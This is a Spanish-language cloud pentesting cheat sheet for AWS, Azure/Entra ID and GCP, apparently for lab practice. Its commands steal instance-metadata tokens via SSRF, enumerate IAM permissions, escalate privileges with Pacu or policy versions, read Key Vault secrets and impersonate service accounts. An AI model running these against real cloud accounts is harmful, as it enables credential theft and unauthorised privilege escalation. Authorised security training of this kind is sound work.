Cloud: AWS, Azure/Entra ID y GCP

El patrón en la nube: consigues unas credenciales (una clave en un repo, un token de metadatos), ves qué puedes hacer con ellas y buscas un permiso que te deje subir. Úsalo solo en cuentas tuyas o con autorización escrita.

AWS

Practícalo en: Facts

¿Quién soy?

Identidad de las credenciales actuales Atacante
aws sts get-caller-identity
Configurar un perfil con claves encontradas Atacante
aws configure --profile loot
Token desde los metadatos de una instancia (SSRF) Víctima
TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 pide primero un token con PUT; IMDSv1 respondía al GET directo.

Enumerar permisos

Mis políticas y grupos Atacante
aws iam list-attached-user-policies --user-name USUARIO
aws iam list-user-policies --user-name USUARIO
Enumeración automática con enumerate-iam Atacante
python3 enumerate-iam.py --access-key AKIA... --secret-key ...
Buckets S3 legibles Atacante
aws s3 ls
aws s3 ls s3://nombre-bucket --no-sign-request

Escalada de IAM con Pacu

Pacu tiene un módulo que prueba las vías de escalada conocidas (p. ej. crear una versión de política, pasar un rol a una función Lambda).

Arrancar y buscar rutas de escalada Atacante
pacu
# dentro: import_keys loot; run iam__enum_permissions; run iam__privesc_scan
Abuso clásico: crear una versión de política que controlas Atacante
aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-default

Azure / Entra ID

Entra ID (el antiguo Azure AD) es el directorio; Azure es la infraestructura. Dos planos distintos: un usuario puede ser nadie en Entra y dueño de una suscripción, o al revés.

Practícalo en: Monteverde

Iniciar sesión y mirar

Az CLI: login y suscripciones Atacante
az login -u USUARIO -p 'CLAVE'
az account list -o table
Enumerar el directorio con ROADrecon Atacante
roadrecon auth -u USUARIO -p 'CLAVE'
roadrecon gather
roadrecon gui
Usuarios, grupos y roles con AzureHound Atacante
azurehound -u USUARIO -p 'CLAVE' list --tenant TENANT-ID -o output.json

Escalada y abuso

Lo habitual es encontrar un rol que te deja resetear la contraseña de otro, añadirte a un grupo privilegiado o leer secretos de un Key Vault.

Leer secretos de un Key Vault Atacante
az keyvault secret list --vault-name NOMBRE
az keyvault secret show --vault-name NOMBRE --name SECRETO
Añadirte a un grupo (si tienes el rol) Atacante
az ad group member add --group 'Grupo' --member-id TU-OBJECT-ID
Token de managed identity desde una VM (SSRF) Víctima
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

GCP

¿Quién soy y qué tengo?

Cuenta activa y proyectos Atacante
gcloud auth list
gcloud projects list
Activar una cuenta de servicio con su clave JSON Atacante
gcloud auth activate-service-account --key-file=clave.json
Token de la cuenta de servicio desde los metadatos (SSRF) Víctima
curl -s -H 'Metadata-Flavor: Google' "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

Enumerar y escalar

El clásico de GCP: un permiso como iam.serviceAccounts.getAccessToken o actAs te deja suplantar una cuenta de servicio con más privilegios.

Qué permisos tengo en el proyecto Atacante
gcloud projects get-iam-policy PROYECTO --format=json
Suplantar una cuenta de servicio Atacante
gcloud compute instances list --impersonate-service-account=SA@PROYECTO.iam.gserviceaccount.com
Enumeración exhaustiva con GCPwn o ScoutSuite Atacante
scout gcp --user-account --report-dir ./scout